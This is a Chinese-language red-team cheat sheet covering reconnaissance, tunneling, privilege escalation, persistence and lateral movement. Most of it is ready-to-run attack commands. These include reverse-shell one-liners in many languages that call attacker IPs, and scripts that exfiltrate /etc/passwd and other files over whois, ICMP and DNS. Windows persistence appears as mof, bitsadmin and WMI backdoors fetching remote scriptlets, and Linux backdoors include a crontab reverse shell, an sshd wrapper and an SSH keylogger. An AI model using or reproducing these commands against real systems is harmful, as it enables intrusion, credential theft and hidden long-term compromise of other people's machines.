Author: Evi1cg

Blog: https://evi1cg.github.io

Table of Contents

- Windows
    - BypassUAC
        - 常用方法
        - 常用工具
    - 提权
- Linux
    - 内核溢出提权
    - 计划任务
    - SUID
    - 系统服务的错误权限配置漏洞
    - 不安全的文件/文件夹权限配置
    - 找存储的明文用户名，密码

- 权限维持
    - 系统后门
        - Windows
            - 1、密码记录工具
            - 2、常用的存储Payload位置
            - 3、Run/RunOnce Keys
            - 4、BootExecute Key
            - 5、Userinit Key
            - 6、Startup Keys
            - 7、Services
            - 8、Browser Helper Objects
            - 9、AppInit_DLLs
            - 10、文件关联
            - 11、bitsadmin
            - 12、mof

        - 13、wmi
        - 14、Userland Persistence With Scheduled Tasks
        - 15、Netsh
        - 16、Shim
        - 17、DLL劫持
        - 18、DoubleAgent
        - 19、waitfor.exe
        - 20、AppDomainManager
        - 21、Office
        - 22、CLR
        - 23、msdtc
        - 24、Hijack CAccPropServicesClass and MMDeviceEnumerato
        - 25、Hijack explorer.exe
        - 26、Windows FAX DLL Injection
        - 27、特殊注册表键值
        - 28、快捷方式后门
        - 29、Logon Scripts
        - 30、Password Filter DLL
        - 31、利用BHO实现IE浏览器劫持
    - Linux
        - crontab
        - 硬链接sshd
        - SSH Server wrapper
        - SSH keylogger
        - Cymothoa_进程注入backdoor

信息搜集

开源情报信息收集（**OSINT**）

github

- Github_Nuggests（自动爬取Github上文件敏感信息泄露）:https://github.com/az0ne/Github_Nuggests
- GSIL（能够实现近实时（15分钟内）的发现Github上泄露的信息）:https://github.com/FeeiCN/GSIL
- x-patrol(小米团队的):https://github.com/MiSecurity/x-patrol

whois查询/注册人反查/邮箱反查/相关资产

- 站长之家:http://whois.chinaz.com/?DomainName=target.com&ws=
- 爱站:https://whois.aizhan.com/target.com/
- 微步在线:https://x.threatbook.cn/
- IP反查:https://dns.aizhan.com/
- 天眼查:https://www.tianyancha.com/
- 虎妈查:http://www.whomx.com/
- 历史漏洞查询：
    - 在线查询:http://wy.zone.ci/
    - 自搭建:https://github.com/hanc00l/wooyun_publi/

google hacking

创建企业密码字典

字典列表

- passwordlist:https://github.com/lavalamp-/password-lists
- 猪猪侠字典:https://pan.baidu.com/s/1dFJyedz Blasting_dictionary（分享和收集各种字典，包括弱口令，常用密码，目录爆破。数据库爆破，编辑器爆破，后台爆破等）
- 针对特定的厂商，重点构造厂商相关域名的字典

```
['%pwd%123','%user%123','%user%521','%user%2017','%pwd%321','%pwd%521','%user%321','%pwd%123!','%pwd%123!@#','%pwd%1234','%user%2016','%user%123$%^','%user%123!@#','%pwd%2016','%pwd%2017','%pwd%1!','%pwd%2@','%pwd%3#','%pwd%123#@!','%pwd%12345','%pwd%123$%^','%pwd%!@#456','%pwd%123qwe','%pwd%qwe123','%pwd%qwe','%pwd%123456','%user%123#@!','%user%!@#456','%user%1234','%user%12345','%user%123456','%user%123!']
```

密码生成

- GenpAss（中国特色的弱口令生成器: https://github.com/RicterZ/genpAss/
- passmaker（可以自定义规则的密码字典生成器）：https://github.com/bit4woo/passmaker
- pydictor（强大的密码生成器）：https://github.com/LandGrey/pydictor

邮箱列表获取

- theHarvester ：https://github.com/laramies/theHarvester

- 获取一个邮箱以后导出通讯录
- LinkedInt :https://github.com/mdsecactivebreach/LinkedInt
- Mailget：https://github.com/Ridter/Mailget

泄露密码查询

- ghostproject: https://ghostproject.fr/
- pwndb: https://pwndb2am4tzkvold.onion.to/

对企业外部相关信息进行搜集

子域名获取

- Layer子域名挖掘机4.2纪念版
- subDomainsBrute ：https://github.com/lijiejie/subDomainsBrute
- wydomain ：https://github.com/ring04h/wydomain
- Sublist3r ：https://github.com/aboul3la/Sublist3r
- site:target.com:https://www.google.com
- Github代码仓库
- 抓包分析请求返回值(跳转/文件上传/app/api接口等)
- 站长帮手links等在线查询网站
- 域传送漏洞

Linux

```
dig @ns.example.com example=.com AXFR
```

Windows

```
nslookup -type=ns xxx.yyy.cn #查询解析某域名的DNS服务器
```

```
nslookup #进入nslookup交互模式
server dns.domian.com #指定dns服务器
ls xxx.yyy.cn #列出域信息
```

- GetDomainsBySSL.py :https://note.youdao.com/ynoteshare1/index.html?id=247d97fc1d98b122ef9804906356d47a&type=note#/
- censys.io证书 :https://censys.io/certificates?q=target.com
- crt.sh证书查询:https://crt.sh/?q=%.target.com
- shadon :https://www.shodan.io/
- zoomeye :https://www.zoomeye.org/
- fofa :https://fofa.so/
- censys : https://censys.io/
- dnsdb.io :https://dnsdb.io/zh-cn/search?q=target.com
- api.hackertarget.com :http://api.hackertarget.com/reversedns/?q=target.com
- community.riskiq.com :https://community.riskiq.com/Search/target.com
- subdomain3 :https://github.com/yanxiu0614/subdomain3
- FuzzDomain :https://github.com/Chora10/FuzzDomain
- dnsdumpster.com :https://dnsdumpster.com/
- phpinfo.me :https://phpinfo.me/domain/
- dns开放数据接口 :https://dns.bufferover.run/dns?q=baidu.com

进入内网

基于企业弱账号漏洞

- VPN（通过邮箱，密码爆破，社工等途径获取VPN）
- 企业相关运维系统（zabbix等）

基于系统漏洞进入

- Metasploit(漏洞利用框架):https://github.com/rapid7/metasploit-framework
- 漏洞利用脚本

网站应用程序渗透

- SQL注入
- 跨站脚本（XSS）
- 跨站请求伪造（CSRF）
- SSRF（ssrf_proxy）
- 功能/业务逻辑漏洞
- 其他漏洞等
- CMS-内容管理系统漏洞
- 企业自建代理

无线**Wi-Fi**接入

隐匿攻击

Command and Control

- ICMP :https://pentestlab.blog/2017/07/28/command-and-control-icmp/

- DNS :https://pentestlab.blog/2017/09/06/command-and-control-dns/
- DropBox :https://pentestlab.blog/2017/08/29/command-and-control-dropbox/
- Gmail :https://pentestlab.blog/2017/08/03/command-and-control-gmail/
- Telegram :http://drops.xmd5.com/static/drops/tips-16142.html
- Twitter :https://pentestlab.blog/2017/09/26/command-and-control-twitter/
- Website Keyword :https://pentestlab.blog/2017/09/14/command-and-control-website-keyword/
- PowerShell :https://pentestlab.blog/2017/08/19/command-and-control-powershell/
- Windows COM :https://pentestlab.blog/2017/09/01/command-and-control-windows-com/
- WebDAV :https://pentestlab.blog/2017/09/12/command-and-control-webdav/
- Office 365 :https://www.anquanke.com/post/id/86974
- HTTPS :https://pentestlab.blog/2017/10/04/command-and-control-https/
- Kernel :https://pentestlab.blog/2017/10/02/command-and-control-kernel/
- Website :https://pentestlab.blog/2017/11/14/command-and-control-website/
- WMI :https://pentestlab.blog/2017/11/20/command-and-control-wmi/
- WebSocket :https://pentestlab.blog/2017/12/06/command-and-control-websocket/

- Images :https://pentestlab.blog/2018/01/02/command-and-control-images/
- Web Interface :https://pentestlab.blog/2018/01/03/command-and-control-web-interface/
- JavaScript :https://pentestlab.blog/2018/01/08/command-and-control-javascript/
- …

Fronting

- Domain Fronting
- Tor_Fronting.

代理

- VPN
- shadowsockts :https://github.com/shadowsocks
- HTTP :http://cn-proxy.com/
- Tor

内网跨边界应用

内网跨边界转发

- NC端口转发
- LCX端口转发
- nps
- 代理脚本

1. Tunna
2. Reduh

- ...

内网跨边界代理穿透

EW

正向 SOCKS v5 服务器:

```
./ew -s ssocksd -l 1080
```

反弹 SOCKS v5 服务器:

a) 先在一台具有公网 ip 的主机A上运行以下命令：

```
$ ./ew -s rcsocks -l 1080 -e 8888

```

b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口

```
$ ./ew -s rssocks -d 1.1.1.1 -e 8888
```

多级级联

```
$ ./ew -s lcx_listen -l 1080 -e 8888
$ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
$ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
```

lcx_tran 的用法

```
$ ./ew -s ssocksd -l 9999
$ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999
```

lcx_listen、lcx_slave 的用法

```
$ ./ew -s lcx_listen -l 1080 -e 8888
$ ./ew -s ssocksd -l 9999
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9
999
```

“三级级联”的本地SOCKS测试用例以供参考

```
$ ./ew -s rcsocks -l 1080 -e 8888
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9
999
$ ./ew -s lcx_listen -l 9999 -e 7777
$ ./ew -s rssocks -d 127.0.0.1 -e 7777
```

Termite

使用说明:https://rootkiter.com/Termite/README.txt

代理脚本

reGeorg :https://github.com/sensepost/reGeorg

shell反弹

bash

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

perl

```
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET
,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_
in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S"
);open(STDERR,">&S");exec("/bin/sh -i");};'
```

python

```
python -c 'import socket,subprocess,os;s=socket.socket(soc
ket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234
));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s
.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

php

```
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i
<&3 >&3 2>&3");'
```

ruby

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;ex
ec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

java

```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/20
02;cat <&5 | while read line; do \$line 2>&5 >&5; done"] a
s String[])
p.waitFor()
```

nc

```
#使用-e
nc -e /bin/sh 223.8.200.234 1234
```

```
#不使用-e
mknod /tmp/backpipe p
/bin/sh 0/tmp/backpipe | nc attackerip listenport 1>/tmp/b
ackpipe
```

lua

```
lua -e "require('socket');require('os');t=socket.tcp();t:c
onnect('202.103.243.122','1234');os.execute('/bin/sh -i <&
3 >&3 2>&3');"
```

内网文件的传输和下载

wput

```
wput dir_name ftp://linuxpig:123456@host.com/
```

wget

```
wget http://site.com/1.rar -O 1.rar
```

ariac2（需安装）

```
aria2c -o owncloud.zip https://download.owncloud.org/commu
nity/owncloud-9.0.0.tar.bz2
```

powershell

```
$p = New-Object System.Net.WebClient
$p.DownloadFile("http://domain/file","C:%homepath%file")
```

vbs脚本

```
Set args = Wscript.Arguments
Url = "http://domain/file"
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
```

```
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", Url, False
xHttp.Send
with bStrm
.type = 1 '
.open
.write xHttp.responseBody
.savetofile " C:\%homepath%\file", 2 '
end with
```

> *执行 ：cscript test.vbs*

Perl

```
#!/usr/bin/perl
use LWP::Simple;
getstore("http://domain/file", "file");
```

> *执行 : perl test.pl*

Python

```
#!/usr/bin/python
import urllib2
u = urllib2.urlopen('http://domain/file')
localFile = open('local_file', 'w')
localFile.write(u.read())
```

```
localFile.close()
```

> *执行 : python test.py*

Ruby

```
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("www.domain.com") { |http|
r = http.get("/file")
open("save_location", "wb") { |file|
file.write(r.body)
}
}
```

> *执行 : ruby test.rb*

PHP

```
<?php
$url  = 'http://www.example.com/file';
$path = '/path/to/file';
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
file_put_contents($path, $data);
```

```
?>
```

> *执行 : php test.php*

NC

attacker

```
cat file | nc -l 1234
```

target

```
nc host_ip 1234 > file
```

FTP

```
ftp 127.0.0.1 username password get file exit
```

TFTP

```
tftp -i host GET C:%homepath%file location_of_file_on_tftp
_server
```

Bitsadmin

```
bitsadmin /transfer n http://domain/file c:%homepath%file
```

Window 文件共享

```
net use x: \127.0.0.1\share /user:example.comuserID myPass
word
```

SCP

本地到远程

```
scp file user@host.com:/tmp
```

远程到本地

```
scp user@host.com:/tmp file
```

rsync

远程rsync服务器中拷贝文件到本地机

```
rsync -av root@192.168.78.192::www /databack
```

本地机器拷贝文件到远程rsync服务器

```
rsync -av /databack root@192.168.78.192::www
```

certutil.exe

```
certutil.exe -urlcache -split -f http://site.com/file
```

copy

```
copy \\IP\ShareName\file.exe file.exe
```

WHOIS

接收端 Host B :

```
nc -vlnp 1337 | sed "s/ //g" | base64 -d
```

发送端 Host A :

```
whois -h host_ip -p 1337 `cat /etc/passwd | base64`
```

WHOIS + TAR

First:

```
ncat -k -l -p 4444 | tee files.b64  #tee to a file so you
can make sure you have it
```

Next

```
tar czf - /tmp/* | base64 | xargs -I bits timeout 0.03 who
is -h host_ip -p 4444 bits
```

Finally

```
cat files.b64 | tr -d '\r\n' | base64 -d | tar zxv #to get
 the files out
```

PING

发送端:

```
xxd -p -c 4 secret.txt | while read line; do ping -c 1 -p
$line ip; done
```

接收端`ping_receiver.py`:

```
import sys

try:
    from scapy.all import *
except:
    print("Scapy not found, please install scapy: pip inst
all scapy")
    sys.exit(0)


def process_packet(pkt):
    if pkt.haslayer(ICMP):
        if pkt[ICMP].type == 8:
```

```
            data = pkt[ICMP].load[-4:]
            print(f'{data.decode("utf-8")}', flush=True, e
nd="", sep="")

sniff(iface="eth0", prn=process_packet)
```

```
python3 ping_receiver.py
```

DIG

发送端:

```
xxd -p -c 31 /etc/passwd | while read line; do dig @172.16
.1.100 +short +tries=1 +time=1 $line.gooogle.com; done
```

接收端`dns_reciver.py`:

```
try:
    from scapy.all import *
except:
    print("Scapy not found, please install scapy: pip inst
all scapy")

def process_packet(pkt):
    if pkt.haslayer(DNS):
        domain = pkt[DNS][DNSQR].qname.decode('utf-8')
        root_domain = domain.split('.')[1]
```

```
        if root_domain.startswith('gooogle'):
            print(f'{bytearray.fromhex(domain[:-13]).decod
e("utf-8")}', flush=True, end='')

sniff(iface="eth0", prn=process_packet)
```

```
python3 dns_reciver.py
```

...

搭建 **HTTP server**

python2

```
python -m SimpleHTTPServer 1337
```

python3

```
python -m http.server 1337
```

PHP 5.4+

```
php -S 0.0.0.0:1337
```

ruby

```
ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start'
```

```
ruby -run -e httpd . -p 1337
```

Perl

```
perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'
```

```
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'
```

busybox httpd

```
busybox httpd -f -p 8000
```

内网信息搜集

本机信息搜集

1、用户列表

windows用户列表

分析邮件用户，内网[域]邮件用户，通常就是内网[域]用户

2、进程列表

析杀毒软件/安全监控工具等

邮件客户端

VPN

ftp等

3、服务列表

与安全防范工具有关服务[判断是否可以手动开关等]

存在问题的服务[权限/漏洞]

4、端口列表

开放端口对应的常见服务/应用程序[匿名/权限/漏洞等]

利用端口进行信息收集

5、补丁列表

分析 Windows 补丁

第三方软件[Java/Oracle/Flash 等]漏洞

6、本机共享

本机共享列表/访问权限

本机访问的域共享/访问权限

7、本用户习惯分析

历史记录

收藏夹

文档等

8、获取当前用户密码工具

Windows

- mimikatz
- wce
- Invoke-WCMDump
- mimiDbg
- LaZagne
- nirsoft_package
- QuarksPwDump fgdump
- 星号查看器等

Linux

- LaZagne
- mimipenguin

扩散信息收集

端口扫描

常用端口扫描工具

- nmap
- masscan
- zmap
- s扫描器

- 自写脚本等
- NC
- ...

内网拓扑架构分析

- DMZ
- 管理网
- 生产网
- 测试网

常见信息收集命令

ipconfig:

```
ipconfig /all ------> 查询本机 IP 段，所在域等
```

net:

```
net user ------> 本机用户列表
net localgroup administrators ------> 本机管理员[通常含有域用户
]
net user /domain ------> 查询域用户
net group /domain ------> 查询域里面的工作组
net group "domain admins" /domain ------> 查询域管理员用户组
net localgroup administrators /domain ------> 登录本机的域管
理员
net localgroup administrators workgroup\user001 /add -----
>域用户添加到本机 net group "Domain controllers" -------> 查看
```

```
域控制器(如果有多台)
net view ------> 查询同一域内机器列表 net view /domain ------>
 查询域列表
net view /domain:domainname
```

dsquery

```
dsquery computer domainroot -limit 65535 && net group "dom
ain
computers" /domain ------> 列出该域内所有机器名
dsquery user domainroot -limit 65535 && net user /domain--
---->列出该域内所有用户名
dsquery subnet ------>列出该域内网段划分
dsquery group && net group /domain ------>列出该域内分组
dsquery ou ------>列出该域内组织单位
dsquery server && net time /domain------>列出该域内域控制器
```

第三方信息收集

- NETBIOS 信息收集
- SMB 信息收集
- 空会话信息收集
- 漏洞信息收集等

权限提升

Windows

BypassUAC

常用方法

- 使用IFileOperation COM接口
- 使用Wusa.exe的extract选项
- 远程注入SHELLCODE 到傀儡进程
- DLL劫持，劫持系统的DLL文件
- eventvwr.exe and registry hijacking
- sdclt.exe
- SilentCleanup
- wscript.exe
- cmstp.exe
- 修改环境变量，劫持高权限.Net程序
- 修改注册表HKCU\Software\Classes\CLSID，劫持高权限程序
- 直接提权过UAC

常用工具

- UACME
- Bypass-UAC
- Yamabiko
- ...

提权

- windows内核漏洞提权

> *检测类:Windows-Exploit-Suggester,WinSystemHelper,wesng*

> *利用类:windows-kernel-exploits，BeRoot*

- 服务提权

> *数据库服务，ftp服务等*

- WINDOWS错误系统配置
- 系统服务的错误权限配置漏洞
- 不安全的注册表权限配置
- 不安全的文件/文件夹权限配置
- 计划任务
- 任意用户以NT AUTHORITY\SYSTEM权限安装msi
- 提权脚本

> *PowerUP,ElevateKit*

Linux

内核溢出提权

linux-kernel-exploits

计划任务

```
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
```

```
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
```

SUID

```
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
```

系统服务的错误权限配置漏洞

```
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
```

不安全的文件/文件夹权限配置

```
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
```

找存储的明文用户名，密码

```
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $p
assword" # Joomla
```

权限维持

系统后门

Windows

1、密码记录工具

WinlogonHack

WinlogonHack 是一款用来劫取远程3389登录密码的工具，在 WinlogonHack 之前有 一个 Gina 木马主要用来截取 Windows 2000下的密码，WinlogonHack 主要用于截 取 Windows XP 以及 Windows 2003 Server。

键盘记录器

安装键盘记录的目地不光是记录本机密码，是记录管理员一切的密码，比如说信箱，WEB 网页密码等等，这样也可以得到管理员的很多信息。

NTPass

获取管理员口令,一般用 gina 方式来,但有些机器上安装了 pcanywhere 等软件，会导致远程登录的时候出现故障，本软件可实现无障碍截取口令。

Linux 下 openssh 后门

重新编译运行的sshd服务，用于记录用户的登陆密码。

2、常用的存储Payload位置

WMI：

存储：

```
$StaticClass = New-Object Management.ManagementClass('root
\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Command'
$StaticClass.Put()
$StaticClass.Properties.Add('Command' , $Payload)
$StaticClass.Put()
```

读取:

```
$Payload=([WmiClass] 'Win32_Command').Properties['Command'
].Value
```

包含数字签名的PE文件

利用文件hash的算法缺陷，向PE文件中隐藏Payload，同时不影响该PE文件的数字签名

特殊ADS

...

```
type putty.exe > ...:putty.exe
wmic process call create c:\test\ads\...:putty.exe
```

特殊COM文件

```
type putty.exe > \\.\C:\test\ads\COM1:putty.exe
wmic process call create \\.\C:\test\ads\COM1:putty.exe
```

磁盘根目录

```
type putty.exe >C:\:putty.exe
wmic process call create C:\:putty.exe
```

3、Run/RunOnce Keys

用户级

```
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio
n\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio
n\RunOnce
```

管理员

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersi
on\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersi
on\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersi
on\Policies\Explorer\Run
```

4、BootExecute Key

由于smss.exe在Windows子系统加载之前启动，因此会调用配置子系统来加载当前的配置单元，具体注册表键值为：

```
HKLM\SYSTEM\CurrentControlSet\Control\hivelist
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Session Manager
```

5、Userinit Key

WinLogon进程加载的login scripts,具体键值：

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
```

6、Startup Keys

```
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
```

7、Services

创建服务

```
sc create [ServerName] binPath= BinaryPathName
```

8、Browser Helper Objects

本质上是Internet Explorer启动时加载的DLL模块

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersi
on\Explorer\Browser Helper Objects
```

9、AppInit_DLLs

加载User32.dll会加载的DLL

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVe
rsion\Windows\AppInit_DLLs
```

10、文件关联

```
HKEY_LOCAL_MACHINE\Software\Classes
HKEY_CLASSES_ROOT
```

11、bitsadmin

```
bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u
/s /i:https://host.com/calc.sct scrobj.dll"
bitsadmin /Resume backdoor
```

12、mof

```
pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP1";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 1";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consP1";
ScriptingEngine = "JScript";
ScriptText = "GetObject(\"script:https://host.com/test\")"
;
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
```

管理员执行：

```
mofcomp test.mof
```

13、wmi

每隔60秒执行一次notepad.exe

```
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter C
REATE Name="BotFilter82", EventNameSpace="root\cimv2",Quer
yLanguage="WQL", Query="SELECT * FROM __InstanceModificati
onEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfForm
attedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEven
tConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\
Windows\System32\notepad.exe",CommandLineTemplate="C:\Wind
ows\System32\notepad.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsu
merBinding CREATE Filter="__EventFilter.Name=\"BotFilter82
\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer
23\""
```

14、Userland Persistence With Scheduled Tasks

劫持计划任务UserTask，在系统启动时加载dll

```
function Invoke-ScheduledTaskComHandlerUserTask
{
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpac
t = 'Medium')]
Param (
[Parameter(Mandatory = $True)]
```

```
[ValidateNotNullOrEmpty()]
[String]
$Command,

[Switch]
$Force
)
$ScheduledTaskCommandPath = "HKCU:\Software\Classes\CLSID\
{58fb76b9-ac85-4e55-ac04-427593b1d060}\InprocServer32"
if ($Force -or ((Get-ItemProperty -Path $ScheduledTaskComm
andPath -Name '(default)' -ErrorAction SilentlyContinue) -
eq $null)){
New-Item $ScheduledTaskCommandPath -Force |
New-ItemProperty -Name '(Default)' -Value $Command -Proper
tyType string -Force | Out-Null
}else{
Write-Verbose "Key already exists, consider using -Force"
exit
}

if (Test-Path $ScheduledTaskCommandPath) {
Write-Verbose "Created registry entries to hijack the User
Task"
}else{
Write-Warning "Failed to create registry key, exiting"
exit
}
}
```

```
Invoke-ScheduledTaskComHandlerUserTask -Command "C:\test\t
estmsg.dll" -Verbose
```

15、Netsh

```
netsh add helper c:\test\netshtest.dll
```

后门触发：每次调用netsh

> *dll编写:https://github.com/outflanknl/NetshHelperBeacon*

16、Shim

常用方式：

InjectDll

RedirectShortcut

RedirectEXE

17、DLL劫持

通过Rattler自动枚举进程，检测是否存在可用dll劫持利用的进程

使用：Procmon半自动测试更精准，常规生成的dll会导致程序执行报错或中断，使用AheadLib配合生成dll劫持利用源码不会影响程序执行

工具：https://github.com/sensepost/rattler

工具：https://github.com/Yonsm/AheadLib

18、DoubleAgent

编写自定义Verifier provider DLL

通过Application Verifier进行安装

注入到目标进程执行payload

每当目标进程启动，均会执行payload，相当于一个自启动的方式

POC：https://github.com/Cybellum/DoubleAgent

19、waitfor.exe

不支持自启动，但可远程主动激活，后台进程显示为waitfor.exe

POC：https://github.com/3gstudent/Waitfor-Persistence

20、AppDomainManager

针对.Net程序，通过修改AppDomainManager能够劫持.Net程序的启动过程。如果劫持了系统常见.Net程序如powershell.exe的启动过程，向其添加payload，就能实现一种被动的后门触发机制

21、Office

劫持Office软件的特定功能:通过dll劫持,在Office软件执行特定功能时触发后门

利用VSTO实现的office后门

Office加载项

- Word WLL
- Excel XLL
- Excel VBA add-ins
- PowerPoint VBA add-ins

> *参考1 ：https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/*
>
> *参考2 ：https://3gstudent.github.io/3gstudent.github.io/Office-Persistence-on-x64-operating-system/*

22、CLR

无需管理员权限的后门，并能够劫持所有.Net程序

POC:https://github.com/3gstudent/CLR-Injection

23、msdtc

利用MSDTC服务加载dll，实现自启动，并绕过Autoruns对启动项的检测

利用：向 %windir%\system32\目录添加dll并重命名为oci.dll

24、Hijack CAccPropServicesClass and MMDeviceEnumerato

利用COM组件，不需要重启系统，不需要管理员权限

通过修改注册表实现

POC：https://github.com/3gstudent/COM-Object-hijacking

25、Hijack explorer.exe

COM组件劫持，不需要重启系统，不需要管理员权限

通过修改注册表实现

```
HKCU\Software\Classes\CLSID{42aedc87-2188-41fd-b9a3-0c966feabec1}
HKCU\Software\Classes\CLSID{fbeb8a05-beee-4442-804e-409d6c4515e9}
HKCU\Software\Classes\CLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
HKCU\Software\Classes\Wow6432Node\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E}
```

26、Windows FAX DLL Injection

通过DLL劫持，劫持Explorer.exe对`fxsst.dll`的加载

Explorer.exe在启动时会加载`c:\Windows\System32\fxsst.dll`(服务默认开启，用于传真服务)将payload.dll保存在`c:\Windows\fxsst.dll`，能够实现dll劫持，劫持Explorer.exe对`fxsst.dll`的加载

27、特殊注册表键值

在注册表启动项创建特殊名称的注册表键值，用户正常情况下无法读取(使用Win32 API)，但系统能够执行(使用Native API)。

《渗透技巧——"隐藏"注册表的创建》

《渗透技巧——"隐藏"注册表的更多测试》

28、快捷方式后门

替换我的电脑快捷方式启动参数

POC：

https://github.com/Ridter/Pentest/blob/master/powershell/MyShell/Backdo

29、Logon Scripts

```
New-ItemProperty "HKCU:\Environment\" UserInitMprLogonScri
pt -value "c:\test\11.bat" -propertyType string | Out-Null
```

30、Password Filter DLL

31、利用BHO实现IE浏览器劫持

Linux

crontab

每60分钟反弹一次shell给dns.wuyun.org的53端口

```
#!bash
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/dns.wuy
un.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -
i;\rno crontab for `whoami`%100c\n")|crontab -
```

硬链接**sshd**

```
#!bash
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=2333;
```

链接：ssh root@192.168.206.142 -p 2333

SSH Server wrapper

```
#!bash
cd /usr/sbin
mv sshd ../bin
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);'
>>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>ss
hd
chmod u+x sshd
//不用重启也行
/etc/init.d/sshd restart
```

```
socat STDIO TCP4:192.168.206.142:22,sourceport=13377
```

SSH keylogger

vim当前用户下的.bashrc文件,末尾添加

```
#!bash
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e
 read,write,connect -s2048 ssh'
```

source .bashrc

Cymothoa_进程注入backdoor

```
./cymothoa -p 2270 -s 1 -y 7777
```

```
nc -vv ip 7777
```

rootkit

openssh_rootkit

Kbeast_rootkit

Mafix + Suterusu rootkit

Tools

Vegile

backdoor

WEB后门

PHP Meterpreter后门

Aspx Meterpreter后门

weevely

webacoo

…

横向渗透

端口渗透

端口扫描

- 1.端口的指纹信息（版本信息）
- 2.端口所对应运行的服务
- 3.常见的默认端口号
- 4.尝试弱口令

端口爆破

hydra

端口弱口令

- NTScan
- Hscan
- 自写脚本

端口溢出

smb

- ms08067
- ms17010
- ms11058
- ...

apache

ftp

...

常见的默认端口

1、web类(web漏洞/敏感目录)

第三方通用组件漏洞: struts thinkphp jboss ganglia zabbix ...

```
80 web
80-89 web
8000-9090 web
```

2、数据库类(扫描弱口令)

```
1433 MSSQL
1521 Oracle
3306 MySQL
